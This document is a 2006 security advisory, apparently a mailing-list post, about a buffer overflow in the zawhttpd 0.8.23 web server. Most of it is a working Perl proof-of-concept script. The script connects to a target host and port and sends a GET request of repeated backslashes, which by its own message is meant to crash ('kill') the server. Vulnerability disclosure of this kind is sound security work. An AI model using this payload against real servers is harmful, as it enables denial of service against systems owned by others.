[EXPL] zawhttpd Buffer Overflow (Exploit)
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- Date: 4 May 2006 16:48:24 +0200
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zawhttpd Buffer Overflow (Exploit)
------------------------------------------------------------------------
SUMMARY
" <http://www.norz.org/zawhttpd.html> zawhttpd is a small http server."
Improper handling of HTTP headers allows attackers to cause a buffer
overflow and execute arbitrary code or crash zawhttpd.
DETAILS
Vulnerable Systems:
* zawhttpd version 0.8.23
Exploit:
#!/usr/bin/perl
# zawhttpd Buffer Overflow Exploit
# by Kamil 'K3' Sienicki
use IO::Socket;
use strict;
my($socket) = "";
if($socket = IO::Socket::INET->new(
PeerAddr => $ARGV[0],
PeerPort => $ARGV[1],
Proto => "TCP"))
{
print "Attempting to kill zawhttpd at $ARGV[0]:$ARGV[1] ...";
print $socket "GET \\\\\\\\\\\\\\\\\\\\ HTTP/1.0\r\n\r\n";
close($socket);
}
else
{
print "perl zawhttpd.pl localhost 80 \n";
print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}
#EoF
ADDITIONAL INFORMATION
The information has been provided by ">Kamil 'K3' Sienicki.
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